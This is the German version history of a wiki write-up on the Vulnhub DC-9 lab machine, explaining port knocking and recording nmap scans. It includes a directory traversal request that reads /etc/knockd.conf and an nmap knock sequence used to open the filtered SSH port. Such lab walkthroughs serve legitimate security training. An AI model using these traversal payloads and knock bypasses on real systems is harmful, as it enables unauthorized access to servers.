Vulnhub dc-9 PortKnocking - Versionsgeschichte

Thomas.will: /* Directorytraversal */

2023-03-09T09:55:39Z

Directorytraversal

Thomas.will: /* Directorytraversal */

2023-03-09T09:54:03Z

Directorytraversal

Thomas.will: /* Zur Einnerung */

2023-03-09T09:53:09Z

Zur Einnerung

Thomas.will am 9. März 2023 um 09:52 Uhr

2023-03-09T09:52:28Z

Thomas.will: Die Seite wurde neu angelegt: „=Was ist das?= Portknocking ist ein Verfahren, um Server bzw. einzelne Serverdienste in TCP/IP-Netzwerken abzusichern, das heißt vor unbefugtem Zugriff zu sch…“

2023-03-09T09:49:46Z

Die Seite wurde neu angelegt: „=Was ist das?= Portknocking ist ein Verfahren, um Server bzw. einzelne Serverdienste in TCP/IP-Netzwerken abzusichern, das heißt vor unbefugtem Zugriff zu sch…“

Neue Seite

=Was ist das?=
Portknocking ist ein Verfahren, um Server bzw. einzelne Serverdienste in TCP/IP-Netzwerken abzusichern, das heißt vor unbefugtem Zugriff zu schützen. Der Name kommt von engl. „to knock“ (klopfen) und „Port“ (Anschluss). Er soll versinnbildlichen, dass man zunächst in einer vorher vereinbarten Sequenz „anklopft“, bevor sich ein Port öffnet und man so Zugang zu einem bestimmten Serverdienst erhält.

Die Kommunikation auf dem gewünschten Port wird dabei zunächst von einer Firewall vollständig blockiert. Um diesen Port zu öffnen, sendet man mehrere SYN-Pakete mit zuvor vereinbartem Inhalt und in der richtigen zeitlichen Abfolge an den Server (der sogenannte „Knock“). Mit einem SYN-Paket wird im Transmission Control Protocol normalerweise der Verbindungsaufbau eingeleitet, aber die Firewall blockiert diese Verbindungsversuche zunächst und antwortet nicht auf die Kommunikationsversuche, oder sie sendet ein RST-Paket und weist damit die Verbindung zunächst ab. Ein Portknocking-Daemon hört aber mit, zum Beispiel indem er die Logdatei der Firewall auswertet, und öffnet bei korrekter Abfolge und Inhalt der SYN-Pakete den gewünschten Port in der Firewall.

← Nächstältere Version		Version vom 9. März 2023, 09:55 Uhr
Zeile 27:		Zeile 27:
	*Erkenntniss		*Erkenntniss
	*Die kombiantion der Ports 7469,8475,9842 sollte den SSH Port öffnen.		*Die kombiantion der Ports 7469,8475,9842 sollte den SSH Port öffnen.
		+	=Öffnen von SSH=
		+	*nmap -sS 10.0.10.58 -p 7469,8475,9842 ; nmap -sS 10.0.10.58 -p 22
		+	<pre>
		+	Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-09 10:54 CET
		+	Nmap scan report for 10.0.10.58
		+	Host is up (0.00055s latency).
		+
		+	PORT STATE SERVICE
		+	7469/tcp closed unknown
		+	8475/tcp closed unknown
		+	9842/tcp closed unknown
		+	MAC Address: 08:00:27:1D:02:EE (Oracle VirtualBox virtual NIC)
		+
		+	Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
		+	Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-09 10:54 CET
		+	Nmap scan report for 10.0.10.58
		+	Host is up (0.00029s latency).
		+
		+	PORT STATE SERVICE
		+	22/tcp open ssh
		+	MAC Address: 08:00:27:1D:02:EE (Oracle VirtualBox virtual NIC)
		+
		+	Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
		+	</pre>

← Nächstältere Version		Version vom 9. März 2023, 09:54 Uhr
Zeile 25:		Zeile 25:
	[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence =		[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence =
	9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn		9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
		+	*Erkenntniss
		+	*Die kombiantion der Ports 7469,8475,9842 sollte den SSH Port öffnen.

← Nächstältere Version		Version vom 9. März 2023, 09:53 Uhr
Zeile 20:		Zeile 20:
	*Es könnte auf PortKnocking hinweisen.		*Es könnte auf PortKnocking hinweisen.
	*Wir nutzen die zuvor erkannte DirectoryTraversal Lücke um weiter Erkenntniss zu gewinnen.		*Wir nutzen die zuvor erkannte DirectoryTraversal Lücke um weiter Erkenntniss zu gewinnen.
		+	=Directorytraversal=
		+	*http://10.0.10.58/welcome.php?file=../../../../../../etc/knockd.conf
		+	File does not exist
		+	[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence =
		+	9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

← Nächstältere Version		Version vom 9. März 2023, 09:52 Uhr
Zeile 3:		Zeile 3:

	Die Kommunikation auf dem gewünschten Port wird dabei zunächst von einer Firewall vollständig blockiert. Um diesen Port zu öffnen, sendet man mehrere SYN-Pakete mit zuvor vereinbartem Inhalt und in der richtigen zeitlichen Abfolge an den Server (der sogenannte „Knock“). Mit einem SYN-Paket wird im Transmission Control Protocol normalerweise der Verbindungsaufbau eingeleitet, aber die Firewall blockiert diese Verbindungsversuche zunächst und antwortet nicht auf die Kommunikationsversuche, oder sie sendet ein RST-Paket und weist damit die Verbindung zunächst ab. Ein Portknocking-Daemon hört aber mit, zum Beispiel indem er die Logdatei der Firewall auswertet, und öffnet bei korrekter Abfolge und Inhalt der SYN-Pakete den gewünschten Port in der Firewall.		Die Kommunikation auf dem gewünschten Port wird dabei zunächst von einer Firewall vollständig blockiert. Um diesen Port zu öffnen, sendet man mehrere SYN-Pakete mit zuvor vereinbartem Inhalt und in der richtigen zeitlichen Abfolge an den Server (der sogenannte „Knock“). Mit einem SYN-Paket wird im Transmission Control Protocol normalerweise der Verbindungsaufbau eingeleitet, aber die Firewall blockiert diese Verbindungsversuche zunächst und antwortet nicht auf die Kommunikationsversuche, oder sie sendet ein RST-Paket und weist damit die Verbindung zunächst ab. Ein Portknocking-Daemon hört aber mit, zum Beispiel indem er die Logdatei der Firewall auswertet, und öffnet bei korrekter Abfolge und Inhalt der SYN-Pakete den gewünschten Port in der Firewall.
		+	=Zur Einnerung=
		+	*nmap -sS 10.0.10.58 130 ⨯
		+	<pre>
		+	Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-09 10:50 CET
		+	Nmap scan report for 10.0.10.58
		+	Host is up (0.00017s latency).
		+	Not shown: 998 closed tcp ports (reset)
		+	PORT STATE SERVICE
		+	22/tcp filtered ssh
		+	80/tcp open http
		+	MAC Address: 08:00:27:1D:02:EE (Oracle VirtualBox virtual NIC)
		+
		+	Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
		+	</pre>
		+	*Port 22 ist offen aber durch eine Firewall geschützt.
		+	*Es könnte auf PortKnocking hinweisen.
		+	*Wir nutzen die zuvor erkannte DirectoryTraversal Lücke um weiter Erkenntniss zu gewinnen.